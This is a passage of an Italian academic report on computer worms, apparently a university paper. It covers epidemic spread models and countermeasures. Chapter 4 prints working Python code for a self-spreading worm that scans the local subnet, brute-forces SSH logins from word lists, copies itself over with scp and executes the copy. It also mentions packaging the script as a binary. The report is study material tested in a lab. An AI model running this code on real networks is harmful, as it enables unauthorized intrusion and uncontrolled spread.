parte di un sistema riduceva il rischio di essere infettato da o di infettare sistemi esterni. 32 CAPITOLO 2. WORM STORICI Capitolo 3 Modelli di diffusione I worm attivi sono stati una minaccia per la sicurezza su Internet dai tempi del worm di Morris comparso nel 1988. I worm Code Red e Nimda hanno infettato centinaia di migliaia di sistemi, provocando danni sia nel settore pubblico che privato per svariati milioni di dollari. È di grande importanza, quindi, caratterizzare e monitorare le modalità di diffusione dei worm ed essere abili a derivare metodi per difendere effettivamente i sistemi contro queste minacce. Negli anni ’90, Kephart e White presentarono il modello epidemiologico per comprendere e controllare la prevalenza di virus. Questo modello è basato sull’epidemiologia biologica e usa equazioni differenziali non lineari per fornire una comprensione qualitativa della diffusione di virus. I virus e i worm mostrano infatti una similarità ai virus biologici per quanto riguarda la loro auto-riproducibilità e la loro propagazione. Per questo motivo i modelli esistenti su questi ultimi possono essere adattati per descrivere la propagazione dei worm sulla rete. Un modello accurato fornisce informazioni preziose sul comportamento del worm e può essere utile nell’identificare i danni da esso causati e le caratteristiche della sua propagazione attraverso la rete. 3.1 Il modello epidemico semplice (modello SI) Nel modello epidemico semplice (SI) la popolazione viene divisa in due gruppi: • Gli individui sensibili, S(t) • Gli individui infetti, I(t) Secondo il modello, la taglia della popolazione è grande e non è possibile una guarigione (recovery) o la morte dei soggetti infetti: se un individuo viene infettato resterà nello stato di infezione per sempre. Il modello epidemico semplice per una popolazione finita è il seguente: dI(t) = βI(t)S(t) dt (3.1) dove S(t) = N − I(t), N è la taglia della popolazione e β è il tasso di infezione. Secondo l’equazione 3.1 il carico di host infetti rispetto al tempo è direttamente proporzionale al tasso di infezione β, al numero di host infetti al tempo t e ai 33 34 CAPITOLO 3. MODELLI DI DIFFUSIONE rimanenti host sensibili S(t). La figura 3.1 mostra la distribuzione della popolazione infetta I(t) e quella Figura 3.1: Modello epidemico semplice secondo l’equazione 3.1 sensibile S(t). Il modello epidemico SI non considera la rimozione degli host infetti. In una situazione reale che riguardi i virus e i worm si deve tener conto della possibilità di fornire patch o upgrade agli host infetti, rimuovendo quindi questi host sia dalla popolazione infetta che da quella sensibile. Per questo motivo è necessario il passaggio ad un altro modello. Tuttavia il modello appena descritto risulta applicabile nella fase iniziale della propagazione dei worm, poiché in questa fase non sono ancora disponibili cure per l’infezione. 3.2 Il modello epidemico generale (modello SIR) Il modello epidemico generale (SIR) estende il modello SI dividendo gli host in tre gruppi: • Individui sensibili, S(t) • Individui infetti, I(t) • Individui rimossi, R(t) In questo modello un individuo può guarire dalla malattia diventando cosı̀ immune ad essa per sempre. Nel caso dei worm, un host può essere aggiornato o dotato di una patch per diventare immune ad un particolare tipo di minaccia. Il modello SIR è il seguente: dI(t) dR(t) = βI(t)S(t) − dt dt (3.2) dR(t) = γI(t) dt (3.3) dove γ è il tasso di rimozione. Il modello SIR migliora il modello SI considerando che alcuni individui infetti vengono guariti o muoiono dopo una certa quantità di tempo. Tuttavia, 3.3. IL MODELLO A DUE FATTORI 35 Figura 3.2: Modello epidemico generale secondo l’equazione 3.2 Figura 3.3: Rimozione sia degli host sensibili che degli host infetti questo modello non è ancora perfettamente idoneo a descrivere la propagazione dei worm attraverso Internet, poiché le contromisure adottate per la rimozione delle minacce causano la rimozione non solo degli host infetti (come prevede il modello) ma anche di quelli sensibili. Inoltre, nel modello il tasso di infezione β è considerato costante, cosa che non è vera per i worm in grado di infettare numerosi host attraverso la rete. 3.3 Il modello a due fattori Analizzando i report sugli incidenti dovuti ai computer worm si scopre la presenza di due fattori che influenzano la loro propagazione e che non sono previsti dai modelli epidemici tradizionali: • Le contromisure adottate per far fronte alle minacce causano la rimozione sia degli host infetti che di quelli sensibili alle minacce (si veda la figura 3.3). • Il tasso di infezione β decresce a causa del crescere del traffico dovuto alle scansioni eseguite dai worm. Per descrivere un nuovo modello che tenga conto di questi fattori per la propagazione dei worm sulla rete bisogna modellare il tasso di infezione β in funzione del tempo, cioè β(t). Il processo di rimozione degli host causato dalle contromisure adottate per far fronte alle minacce consiste di due parti: 36 CAPITOLO 3. MODELLI DI DIFFUSIONE Figura 3.4: Modello a due fattori • rimozione degli host infetti, • rimozione degli host sensibili. Il nuovo modello è noto come modello a due fattori (Two factor worm model) ed è descritto dalla seguente equazione: dR(t) dI(t) = β(t)I(t)S(t) − dt dt (3.4) S(t) = N − I(t) − R(t) − Q(t) (3.5) dove R(t) rappresenta il numero di host rimossi dalla popolazione infetta al tempo t, mentre Q(t) rappresenta il numero di host rimossi dalla popolazione sensibile. Per risolvere l’equazione 3.4 è necessario conoscere le proprietà dinamiche del worm: • β(t): è determinato dall’impatto del traffico generato dal worm sulla rete e dall’efficienza di diffusione del codice del worm. • R(t), Q(t): comprendono la consapevolezza del worm da parte delle persone e la difficoltà di applicare patch o politiche di filtraggio. Per determinare R(t) è possibile adottare la stessa assunzione usata per il modello SIR (equazione 3.3). La rimozione degli host dalla popolazione sensibile è più complicata. Più i computer vengono infettati, più aumenta la consapevolezza del worm da parte delle persone coinvolte e più aumenta l’importanza di difendersi contro la minaccia, quindi la velocità di immunizzazione cresce col tempo. La velocità decresce invece quando il numero di host sensibili è ridotto. Per questo motivo, il processo di rimozione degli host sensibili assomiglia al modello epidemico semplice (si veda l’equazione 3.1), essendo Q(t) direttamente proporzionale al numero di host sensibili (S(t)) ed infetti (I(t)) al tempo t. Infine, β(t) è descritta dall’equazione: β(t) = β0 [1 − I(t) η ] N (3.6) 3.4. AAWP 37 Figura 3.5: Confronto tra la diffusione del worm Code Red e il modello a due fattori dove β0 è il tasso di infezione iniziale. L’esponente η è usato per regolare la sensibilità del tasso di infezione in base al numero di host infetti I(t). Per l’esattezza, la propagazione dei worm è un processo discreto, tuttavia l’uso di un’equazione differenziale continua quale l’equazione 3.4 è giustificato, essendo questa approssimazione accurata per descrivere sistemi grandi e complessi ed è ampiamente usata nella costruzione di modelli epidemici. Se si confronta il modello a due fattori con i dati osservati in seguito alla diffusione del worm Code Red nel 2001, si nota una diminuzione del tasso di infezione nel momento in cui circa il 50% della popolazione sensibile era stata infettata (Figura 3.5). Continuando ad usare i modelli epidemici tradizionali si corre il rischio di sopravvalutare la diffusione e i danni causati dai worm, poiché essi non tengono in considerazione la diminuzione del tasso di infezione causato dall’aumentare del traffico sulla rete. Tuttavia questi modelli continuano ad essere validi per la descrizione delle fasi iniziali di un worm. 3.4 3.4.1 AAWP Descrizione Quando un worm attivo è diffuso su Internet, simultaneamente scansiona molte macchine nel tentativo di trovare una macchina vulnerabile da infettare. Quando finalmente trova la sua preda, invia una sonda per infettare il target. In caso di successo, una copia del worm è trasferita sul nuovo host. Quando, invece, viene raggiunta una macchina non vulnerabile o un indirizzo IP non utilizzato, il worm non costituisce nessuna minaccia. Durante il processo di diffusione del worm, alcune macchine potrebbero smettere di funzionare correttamente, costringendo gli utenti a riavviare i computer o almeno ad ”uccidere” alcuni processi che potrebbero essere stati sfruttati dal worm. In tal modo, queste macchine, che prima erano infette, diventano nuovamente vulnerabili a nuove infezioni. Per prevenire nuovi attacchi, potrebbe essere necessaria una patch che ripara i bug di sicurezza delle macchine. In tal modo le macchine che prima risultavano vulnerabili con la patch diventano invulnerabili al worm. 38 CAPITOLO 3. MODELLI DI DIFFUSIONE Figura 3.6: Parametri per la diffusione di un worm Per accelerare la diffusione di worm attivi, Weaver presentò l’idea di ”hitlist”. Molto prima che un attaccante rilascia il worm, viene raccolta una lista di possibili macchine vulnerabili. Dopo che il worm è stato lanciato su una macchina presente nella lista, inizia una scansione di quest’ultima. Quindi il worm prima infetta le macchine presenti nella lista e una volta che l’elenco è stato completato, inizia a infettare altre macchine vulnerabili. Nella Figura 3.6 sono mostrati i parametri coinvolti nella diffusione di un worm. Ci sono diversi meccanismi di scansione per scegliere un target, come random, local subnet, permutation e topological scanning. Nella scansione random si assume che ogni macchina è in grado o di infettare o di essere infettata. Tale rete può essere rappresentata come un grafo completamente connesso, in cui i nodi rappresentano le macchine e gli archi rappresentano le connessione fra coppie di nodi. Il modello AAWP è usato come modello di scansione random. Nella local subnet scanning tutte le macchine sono collegate direttamente fra di loro. Tuttavia, invece di selezionare i target in maniera casuale, il worm seleziona gli host dallo spazio di indirizzamento locale. Ad esempio: • 50% delle volte, sarà scelto un indirizzo con i medesimi 16 bit iniziali. • 25% delle volte, sarà scelto un indirizzo con i medesimi 8 bit iniziali. • 25% delle volte, sarà scelto un indirizzo a caso. 3.4.2 Analisi Si supponga di conoscere il risultato di un’infezione in un singolo time-tick. Al tempo i ni host vengono infettati e mi è il numero totale di macchine vulnerabili. Teorema 1 Se ci sono mi macchine vulnerabili (incluse le macchine infettate) e ni macchine infette, allora in media, al prossimo time tick il numero di macchine infettate sarà 1 (mi − ni )[1 − (1 − 32 )sni ] 2 dove s è il tasso di scansione. Il teorema può essere provato per induzione sul numero di scansioni. Dato un death rate d e un patching rate p, al prossimo time-tick si avranno dni + pni macchine infette che cambieranno il loro stato, mentre il numero di 3.4. AAWP 39 Figura 3.7: Effetti dei parametri sulla diffusione (tutti i casi sono su 1000000 di host vulnerabili, un rate scanning di 100 scans/secondo e un death rate di 0,001/secondo) host vulnerabili (inclusi quelli infetti) sarà ridotto a (1 − p)mi . Per questo motivo al prossimo time-tick il numero totale di macchine infette sarà: ni+1 = ni + (mi − ni )[1 − (1 − 1 sni ) ] − (d + p)ni 232 Mentre, per quanto riguarda gli host vulnerabili si ha mi+1 = (1 − p)mi Da cui si ricava mi = (1 − p)i m0 = (1 − p)i N Infine, effettuando le opportune sostituzioni si ottiene la seguente formula: ni+1 = (1 − d − p)ni + [(1 − p)i N − ni ][1 − (1 − 1 sni ) ] 232 (3.7) Utilizzando la precedente equazione è possibile analizzare le caratteristiche della diffusione di worm attivi. Ad esempio la Figura 3.7 (a) mostra la propagazione di worm attivi con diverse dimensioni di hitlist. La Figura 3.7 (b) mostra come la diffusione del worm rallenti all’aumentare del patching rate. Nella Figura 3.7 (c) viene visualizzato l’effetto del tempo per completare l’infezione, considerando diversi intervalli di tempo (1 sec, 30 sec, 60 sec). Il worm si propaga più lentamente all’aumentare del tempo richiesto per infettare una singola macchina. 3.4.3 Confronti Le differenze tra modello AAWP e modello epidemico sono: 1. Il modello epidemico è continuo nel tempo, mentre AAWP è un modello discreto. Il modello AAWP è più accurato rispetto a quello epidemico: nel modello AAWP, un computer non può infettare altri host prima che sia infettato completamente; nel modello epidemico, invece, un host può avviare un’infezione anche prima di essere completamente infettato. Quindi, la velocità che il worm può raggiungere e il numero di host che possono essere infettati possono essere molto differenti. 40 CAPITOLO 3. MODELLI DI DIFFUSIONE Figura 3.8: Confronto fra AAWP e modello epidemico. 2. Il modello epidemico non considera il tempo impiegato dal worm per infettare un host, a differenza del modello AAWP. Diversi worm hanno differenti abilità di infezione che sono rispecchiate dal tasso di scansione (o tasso di natalità) e dal tempo speso per infettare un host. Il tempo necessario per infettare un host dipende sempre dalle dimensioni della copia del worm, dal grado di congestione della rete, dalla distanza tra sorgente e destinazione e dalla vulnerabilità che il worm sfrutta. Si può dimostrare che il tempo per infettare un host è un importante fattore per la diffusione di worm attivi. 3. Nel modello AAWP è possibile considerare che il worm può infettare la stessa destinazione più volte, mentre il modello epidemico ignora questo caso. Infatti, non è raro per un host vulnerabile essere colpito da due o più scansioni contemporaneamente. Entrambi i modelli, tuttavia, sono deterministici e provano ad ottenere il numero atteso di host infettati, dati la taglia degli host inizialmente infettati, il numero totale di host vulnerabili, il tasso di scansione/natalità e il tasso di mortalità. Il modello AAWP prevede la diffusione del worm random-scanning più accuratamente rispetto al modello epidemico. Nella Figura 3.8 viene mostrato il confronto fra il modello AAWP e il modello epidemico con 10000 macchine vulnerabili, una hitlist con 1 entry, un birt rate di 5/ time tick, un death rate di 1/ time tick e 2147500 scans/ time tick. Capitolo 4 Emulazione di un worm In questo capitolo descriveremo un esperimento che abbiamo effettuato per analizzare la propagazione di un worm. Nelle sezioni seguenti mostreremo il codice che abbiamo implementato per la costruzione del worm e i metodi di diffusione adottati. Analizzeremo infine i tempi di propagazione del nostro worm in un ambiente di emulazione. 4.1 Descrizione del worm Il comportamento del worm implementato si ispira a quello di Morris in quanto si effettua un password-craking sul protocollo SSH (il protocollo di rete che ha rimpiazzato RSH, il protocollo che veniva attaccato dal Worm di Morris). Il worm agisce effettuando i seguenti passi: 1. Scansione della rete: il worm analizza le interfacce di rete che trova sull’host vittima e comincia la scansione verso altri host nella stessa rete; 2. Port scanning: dopo aver verificato la presenza di un host online, il worm verifica che su quest’host sia attiva la porta per il servizio SSH ; 3. Password-craking: se il servizio SSH è attivo, il worm procede con un attacco a dizionario per cercare di introdursi sull’host vittima; 4. Worm upload: trovate le credenziali, il worm effettua l’upload dei file necessari per essere eseguito sull’host vittima; 5. Command execution: il worm presente sull’host vittima viene eseguito per inizializzare un nuovo attacco. 4.1.1 Procedura d’infezione Scansione della rete Il primo passo compiuto dal worm consiste nell’analizzare la sottorete in cui è presente l’host vittima allo scopo di individuare potenziali indirizzi IP vulnerabili. Per raggiungere questo scopo è necessario analizzare le interfacce di rete attive sull’host vittima: in un sistema Linux è possibile ottenere un elenco di queste interfacce analizzando il contenuto della directory 41 42 CAPITOLO 4. EMULAZIONE DI UN WORM / sys / c l a s s / net / La strategia di scansione utilizzata è Localized Scanning. Per selezionare gli indirizzi che venivano usati per la scansione si è scelto di analizzare gli indirizzi della stessa sottorete maschera 24 (/24). 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def network_scan () : interface_list = os . listdir ( ’/ sys / class / net / ’) for interface in interface_list : if interface == ’ lo ’: continue try : ni . ifaddresses ( interface ) ip = ni . ifaddresses ( interface ) [2][0][ ’ addr ’] print " [+] Interfaccia di rete trovata : " + interface mask_ip = " . " . join ( ip . split ( ’. ’) [: NETMASK ]) for i in range ( NETWORK_RANGE ) : targetIP = mask_ip + " . " + str ( i ) if targetIP != ip : t = Thread ( target = ssh_scan , args =( targetIP , int (22) ) ) t . start () except Exception as e : print " [ -] Interfaccia di rete non valida : " + interface continue ; Port Scanning Il passo successivo alla scansione della rete è quello di verificare quali servizi siano attivi su un host online. Il servizio che abbiamo sfruttato per garantire la propagazione del worm è il servizio SSH attivo di default sulla porta 22. Per verificare che questo servizio sia attivo sull’host in esame, il codice del worm effettua una connessione TCP sulla porta in questione. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def test_connection ( tgtHost , tgtPort ) : try : connSkt = socket ( AF_INET , SOCK_STREAM ) connSkt . settimeout (1) connSkt . connect (( tgtHost , tgtPort ) ) screenLock . acquire () print ’ [+] {0} | TCP OPEN for IP {1} ’. format ( tgtPort , tgtHost ) return True except Exception as e : screenLock . acquire () if str ( e ) == " timed out " : print ’[ -] HOST {0} is Offline ’. format ( tgtHost ) else : 4.1. DESCRIZIONE DEL WORM 16 17 18 19 20 43 print ’[ -] {0} | TCP CLOSED for IP {1} caused by {2} ’. format ( tgtPort , tgtHost , e ) connSkt . close () return False finally : screenLock . release () Password-craking Il worm in questione usa un attacco a dizionario per cercare di introdursi sull’host vittima dopo aver verificato che il servizio SSH sia attivo. Per effettuare questo tipo di attacco bisogna tenere in considerazione che il servizio SSH richiede due parametri per l’autenticazione, ovvero username e password. Per questo motivo vengono utilizzate due liste nell’attacco a dizionario implementato dal worm: una relativa agli username e l’altra alle password. Le due liste sono state selezionate a partire da username e password che vengono utilizzati molto spesso come credenziali per il protocollo SSH. Per riuscire ad individuare le credenziali si è scelto di provare tutte le possibili combinazioni delle parole presenti nelle due liste. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def ssh_scan ( tgtHost , tgtPort ) : if not test_connection ( tgtHost , tgtPort ) : return None uF = open ( USERFILE , ’r ’) for user in uF . readlines () : user = user . strip ( " \ r " ) . strip ( " \ n " ) pF = open ( PASSFILE , ’r ’) for password in pF . readlines () : password = password . strip ( " \ r " ) . strip ( " \ n " ) s = ssh_connect ( tgtHost , user , password ) if ( s != None ) : print " [+] User : {0} Password : {1} Host : {2} " . format ( user , password , tgtHost ) exploit_ssh (s , tgtHost , user , password ) return pF . close () Worm upload Uno dei passi fondamentali per la costruzione di un worm è il suo caricamento su un sistema vittima per la sua successiva esecuzione in un nuovo ambiente. Il nostro worm effettua questa operazione caricando sull’host attaccato sia l’eseguibile, necessario per l’esecuzione, che i file delle liste necessarie per effettuare un successivo attacco ad altri sistemi. Il caricamento dei file citati viene effettuato usando il protocollo SSH e le sue relative funzioni. 1 2 3 4 5 6 def upload_file ( host , user , password , filename ) : try : target_string = user + " @ " + host + " :~/ " source_string = " / home / " + getpass . getuser () + " / " + filename cmd = ’ scp ’ + source_string + " " + target_string print cmd 44 CAPITOLO 4. EMULAZIONE DI UN WORM 7 8 9 10 11 12 13 14 15 16 17 child = pexpect . spawn ( cmd ) child . expect ([ " password " ]) child . sendline ( password ) child . expect ( pexpect . EOF ) print " [+] File " + filename + " copiato con successo . " return True except Exception as e : print e print " [ -] Problema nel caricamento del file . " return False Command execution Dopo aver caricato i file sull’host infettato è necessario che il worm esegua una copia di se stesso sull’host vittima. Dopo questo passo il worm appena creato comincierà ad eseguire una nuova serie di attachi iniziando dal processo di scansione. 1 2 3 4 5 6 7 8 9 10 11 12 13 def send_command (s , cmd ) : s . sendline ( cmd ) s . prompt () print s . before def exploit_ssh (s , tgtHost , user , password ) : print " [+] Inizio exploiting " if upload_file ( tgtHost , user , password , FILENAME ) and upload_file ( tgtHost , user , password , USERFILE ) and upload_file ( tgtHost , user , password , PASSFILE ) : cmd = " chmod + x " + FILENAME send_command (s , cmd ) cmd = " python " + FILENAME send_command (s , cmd ) print " [+] Exploiting completato " 4.2 Emulazione della propagazione del worm Per testare il comportamento del nostro worm ci siamo serviti di un ambiente di emulazione che comprende 4 laptop su cui sono state eseguite un totale di 10 macchine virtuali linux. 4.2.1 Preparazione dell’ambiente di test La distribuzione Linux che è stata eseguita su ogni macchina è stata Lubuntu 15.10, 32 bit. Benché una situazione reale richieda che il worm venga diffuso sotto forma di eseguibile binario, per semplicità si è scelto di effettuare i test usando la versione del worm come script di Python. Ciò comporta l’installazione dell’ambiente di sviluppo Python su ogni host che partecipa alla emulazione, comprese le librerie necessarie per l’esecuzione del worm. 4.2. EMULAZIONE DELLA PROPAGAZIONE DEL WORM 45 È da precisare che ottenere un eseguibile binario a partire da uno script Pyhton non è affatto un’operazione complessa: tramite PyInstaller (http:// www.pyinstaller.org/) si può facilmente ottenere un eseguibile a partire da uno script Python; il file ottenuto potrà essere eseguito su qualsiasi sistema (è possibile specificare il sistema target, PyInstaller supporta sia Windows, Mac che Linux), senza il bisogno che su di esso sia disponibile l’interprete Python o le librerie opportune. Dopo aver preparato le macchine, ogni host è stato collegato allo stesso switch in modo che gli host potessero raggiungersi l’un l’altro direttamente, cosı̀ da non tener conto di questioni topologiche. 4.2.2 Modalità di diffusione L’obiettivo della emulazione è l’infezione dei 10 sistemi contenuti nell’ambiente di test. All’inizio l’ambiente consiste di 9 sistemi sensibili all’infezione e di un solo sistema infetto (figura 4.1). Dovendo tener conto solo del numero di macchine che è possibile infettare, si è scelto di non aggiungere host immuni all’infezione: la fine del test viene stabilita quando tutti gli host presenti nella emulazione sono stati infettati. Figura 4.1: Ambiente di emulazione: situazione iniziale L’inizio del test viene stabilito scegliendo un host a caso su cui viene poi eseguito il worm. All’inizio della emulazione il codice maligno è presente solo su questo host. Il test prosegue con la scansione dell’host scelto sulla rete (il worm estrae l’indirizzo IP da una delle sue interfacce di rete e scansiona la sottorete /24). Dopo aver infettato un altro host sulla rete si fa partire lo stesso processo sull’host infetto. A questo punto nella nostra rete sono presenti due host infetti e 8 host sensibili all’infezione. Il processo continua fino a quando tutti gli host sono stati infettati (figura 4.2). Per scelta progettuale del worm, non è prevista la sovrascrittura del codice necessario per l’esecuzione del worm su un host vittima, ciò fa sı̀ che se una macchina è stata già infettata, una successiva infezione avrà esito negativo. 4.2.3 Risultati Il tempo richiesto per l’infezione totale dell’ambiente di emulazione è stato di 322, 39 sec (circa 5 minuti). Il tempo è stato ottenuto facendo partire un timer per calcolare il tempo dal momento in cui il worm sul primo host incomincia la 46 CAPITOLO 4. EMULAZIONE DI UN WORM Figura 4.2: Ambiente di emulazione: situazione finale scansione, fino al momento in cui l’ultimo host viene infettato. Per la valutazione del test bisogna tener conto della ridotta dimensione della rete in questione, che, oltre ad una rapida diffusione del codice maligno, non comporta rallentamenti eccessivi nel momento in cui la maggior parte degli host sono stati infettati ed eseguono le scansioni (in una situazione reale, la presenza di un gran numero di worm che effettua scansioni sulla rete produrrebbe un rallentamento sulla stessa e quindi un rallentamento nella propagazione del worm, come previsto dal modello a due fattori). Capitolo 5 Misure di sicurezza Dalle informazioni che abbiamo acquisito dai capitoli precedenti, in particolar modo dall’analisi dei Worm più significativi e dall’analisi dei modelli di propagazione, dovremmo essere in grado di sintetizzare un modello standard che generalizzi i meccanismi di propagazione di questi programmi, e sulla base di questo modello discutere su come applicare delle contromisure che ci permettano di contrastare questa minaccia. Il modello che andremo ad analizzare è il seguente: Initial Infection:Il modello presuppone che esista un sistema su cui è già presente il Worm. Questo è giustificato dal fatto che per diffondersi il Worm ha bisogno di essere in esecuzione da qualche parte. Target Acquisition: Per far sı̀ che il Worm si propaghi è necessario trovare ulteriori macchine da infettare. Alcune delle strategie più usate per adempiere a questo compito sono: la ricerca di Email alle quali inviare il Worm, una scansione della rete per individuare degli host vulnerabili a qualche tipo di attacco che permetta di eseguire delle azioni (sulla macchina vittima) con il fine di duplicare il codice malevolo, oppure analizzando il traffico della rete per trovare dei Web Server che sono spesso contattati dalle vittime, i quali saranno a loro volta analizzati in cerca di vulnerabilità. Delivery of Hostile Code: Dopo aver ottenuto le informazioni sui possibili target è necessario trasferire il Worm. Alcuni vettori di attacco possono essere le Email, il meccanismo di controllo remoto del sistema (SSH), oppure delle vulnerabilità note ma non corrette che permettono di introdursi nel sistema ed eseguire del codice. Execution of Hostile Code: La presenza del Worm su un sistema è una condizione necessaria ma non sufficiente per far sı̀ che quest’ultimo si propaghi. La sua esecuzione deve essere effettuata in qualche maniera. Alcuni esempi classici possono essere: Invocazione diretta tramite la linea di comando, esecuzione del codice tramite Buffer Overflow o esecuzione automatica da parte della macchina vittima. Optional Trasfer of Additional Code: Alcuni Worm trasferiscono solo una parte del loro codice durante la fase 3. In questi casi è necessario trasferire i file rima47 48 CAPITOLO 5. MISURE DI SICUREZZA Figura 5.1: Modello standard di propagazione di un worm. nenti dopo che la macchia è compromessa, di solito vengono utilizzati i servizi FTP/TFTP. Dopo aver costruito modello di propagazione diventa molto più facile sviluppare e implementare contromisure efficaci. Naturalmente una ”contromisura efficace” è qualsiasi meccanismo che impedisce, contiene, o rallenta la diffusione di un worm. Occupandoci della diffusione dei Worm sulla rete globale, l’analisi che segue esamina in dettaglio la fase di Target Acqusition del modello per determinare quali contromisure, eventualmente, possono rivelarsi efficaci. Acquisizione del target Durante la fase di acquisizione del bersaglio un sistema infetto cerca altri sistemi che possono essere suscettibili all’infezione. Il meccanismo di targeting varia sulla base dei mezzi con cui il codice ostile sarà inoltrato verso bersaglio, nel nostro caso andremo ad esaminare la tecnica più popolare, basata sulla scansione degli indirizzi IP. IP Scanning Il metodo più popolare per i sistemi di mira fino ad oggi è la scansione degli indirizzi IP. Questo dovrebbe essere una sorpresa dal momento che la stragrande maggioranza dei servizi offerti su Internet sono progettati per essere accessibile, direttamente o indirettamente, tramite un indirizzo IP com- 49 binato con un numero di porta TCP. L’algoritmo di scansione è il seguente: 1. Generare un indirizzo IP. 2. Tentare di connettersi al sistema con l’invio di un pacchetto TCP SYN. a. Se un pacchetto TCP SYN-ACK viene ricevuto allora è possibile scansione il target alla ricerca di qualche servizio che permette di sfruttare delle vulnerabilità per iniettare il codice malevolo. b. Nel caso in cui non otteniamo risposta, è probabile che il servizio su cui abbiamo provato ad accedere sia disattivato o che la macchina e/o la rete che stiamo provando ad esaminare sia dotata di qualche dispositivo di sicurezza. Il punto 2, ci dà un ottimo spunto di riflessione, poiché questo tipo di acquisizione del target comporta l’interazione con il mondo esterno. In questo caso la contromisura più semplice da implementare è anche la più efficace; I servizi non necessari dovrebbero essere disattivati. In questa situazione, l’host infetto invia un pacchetto con il flag SYN ”attivo” che viene ricevuto dal target, ma dal momento che il servizio non è attivo, la vittima manda indietro un pacchetto con il flag RST attivo, la cui ricezione fa sı̀ che l’attaccante passi ad un altro bersaglio. L’efficacia dell’approccio chiudere i servizi non necessari non deve essere sottovalutata. Molto spesso vengono lasciati attivi dei servizi anche quando non sono necessari, lasciando che diventino dei vettori di attacco pericolosi. Una prova di quanto detto è possibile riscontrarla nel Worm Blaster che approfittando di un buffer overflow in Windows RPC DCOM. Tale servizio permette ai programmi di eseguire chiamate a delle procedure in maniera remota attraverso la rete. Tuttavia, gran parte delle applicazioni e, di conseguenza, la maggior parte degli utenti, non hanno bisogno di questa funzionalità. In ragione di ciò il servizio DCOM avrebbe potuto essere disattivato senza compromettere la funzionalità del sistema. Tuttavia, l’approccio appena descritto soffre di due inconvenienti: 1. E’ necessario lasciare attivi solo i servizi che vengono utilizzati. 2. I pacchetti SYN e RST possono ancora causare congestione sulla rete. Entrambi questi problemi possono essere risolti in modo appropriato implementando un qualche tipo di firewall che protegga i servizi che devono essere lasciati attivi. In una semplice configurazione di rete, un firewall viene inserito tra l’host che prova a portare a termine l’attacco e l’host che deve essere protetto. Un esempio viene mostrato in Figura 5.2. Come si può vedere dalla figura, quando l’host infettato invia un pacchetto con il flag SYN ”attivo” verso l’host vittima, il pacchetto è prima intercettato dal firewall. Il firewall è configurato per prevenire che un traffico anomalo possa 50 CAPITOLO 5. MISURE DI SICUREZZA Figura 5.2: Operazione base di un Firewall. raggiungere gli obiettivi sensibili su cui sono attivi i servizi. Questo viene fatto in maniera ”trasparente” scartando i pacchetti SYN che potrebbero causare problemi di DoS. L’utilizzo di un firewall in questa situazione apporta almeno due vantaggi. Il primo è che se il firewall è posizionato nel modo corretto può impedire l’accesso ai servizi attivi da parte di host infetti e questo ci permette di arrestare il problema della diffusione già nelle prime fasi dell’attacco. Un ulteriore vantaggio è, almeno nel caso di comunicazione TCP, che il pacchetto viene scartato e sull’host infetto viene triggerato il ”timeout” che causa un nuovo invio del pacchetto diverse volte. Questo fa rallentare la velocità della scansione di una rete da parte dell’host malevolo ed implicitamente riduce ulteriormente la congestione della rete e rallentala velocità di propagazione del Worm. Quanto detto fino ad ora comprende gli elementi essenziali di prevenzione durante la fase di scansione IP. E’ importante ricordare che oltre a prevenire la propagazione, una contromisura è considerata efficace se contiene o rallenta propagazione. A tal fine ci sono altre due tecnologie da considerare, i sistemi per il rilevamento delle intrusioni (IDS) e gli Honeypot. Un sistema di rilevamento delle intrusione (IDS) può aiutare nel contenimento di un’infezione identificando un attaccante poco dopo che quest’ultimo abbia cominciato una scansione. Di solito gli host che cominciano un attacco generano un pattern di traffico particolare. Di solito si esegue un tentativo di accesso ad un servizio (oppure ad un insieme di servizi) ospitati da vari host, in un periodo di tempo molto breve. Gli IDS moderni includono la funzionalità di rilevamento delle scansioni (Port Scanning Detection) che solleva un allarme quando questo pattern di traffico viene individuato. Questo permette agli amministratori di rete di individuare la minaccia e di porvi subito rimedio. Gli honeypot sono un’altra tecnologia che può aiutare a contenere e rallentare la diffusione di Worm. L’applicazione degli honeypot è relativamente nuova. L’idea su cui si basa la costruzione di un honeypoit è quella di costringere i worm a spendere tempo e fatica ad attaccare gli host che non sono effettivamente vulnerabili, privando cosı̀ all’attaccante a possibilità di concentrarsi su macchine che potrebbero essere realmente infette. La maggior parte del lavoro in questo settore non ha progredito oltre la fase di teoria, ma ci sono un paio di implementazioni di honeypot che hanno avuto particolare successo. Capitolo 6 Conclusioni I worm hanno rappresentato e rappresentano una serie minaccia per Internet e i suoi utenti. Con l’aumento della densità, dell’interconnettività e della larghezza di banda di Internet, in combinazione con misure di sicurezza non adeguatamente configurate, i worm continueranno ad affliggere la comunità di Internet. Sistemi anti-virus e di rilevamento delle intrusioni già esistenti sono chiaramente inadeguati per la difesa contro i recenti worm e la loro rapida diffusione. A causa di questa minaccia, gli esperti di Cybersecurity e Cyberwarfare devono essere preparati per combattere la crescente minaccia. Worm più pericolosi come: Code-Red, MSBlaster e SQL Slammer che rafforzano l’inadeguatezza di un sistema dipendente dal fattore umano. A tale scopo è necessario sviluppare nuovi meccanismi di difesa per proteggere meglio i nostri sistemi. Nel nostro lavoro abbiamo analizzato i danni causati alla rete e agli utenti dai worm storici. Abbiamo inoltre riportato i diversi modelli di diffusione che permettono di effettuare previsioni sulla propagazione dei worm storici e di quelli futuri, soffermandoci sulle loro caratteristiche e le loro differenze. A partire dai worm storici, abbiamo replicato il comportamento di un worm, implementandone le funzionalità ed analizzandone la sua diffusione all’interno di una rete di emulazione. L’esperimento effettuato ha evidenziato come sia tutt’oggi semplice realizzare un prototipo di worm in grado di propagarsi su host in cui sono presenti inadeguate misure di sicurezza. Infine, sulla base di quanto rilevato abbiamo mostrato che esistono misure di sicurezza forti che permettono di arginare, del tutto o in parte, la propagazione del codice malevolo e il rischio che questo comporta. 51 52 CAPITOLO 6. CONCLUSIONI Bibliografia [1] Roy M Anderson, Robert M May, and B Anderson. Infectious diseases of humans: dynamics and control, volume 28. Wiley Online Library, 1992. [2] Zesheng Chen, Lixin Gao, and Kevin Kwiat. Modeling the spread of active worms. In INFOCOM 2003. Twenty-Second Annual Joint Conference of the IEEE Computer and Communications. IEEE Societies, volume 3, pages 1890–1900. IEEE, 2003. [3] Jordan Hasler. Si epidemics model. 2013. [4] Mimmo Iannelli and Andrea Pugliese. Mathematical modeling of epidemics. In An Introduction to Mathematical Population Dynamics, pages 209–264. Springer, 2014. [5] Stefan Misslinger. Munchen, 2003. Internet worm propagation. Technische University 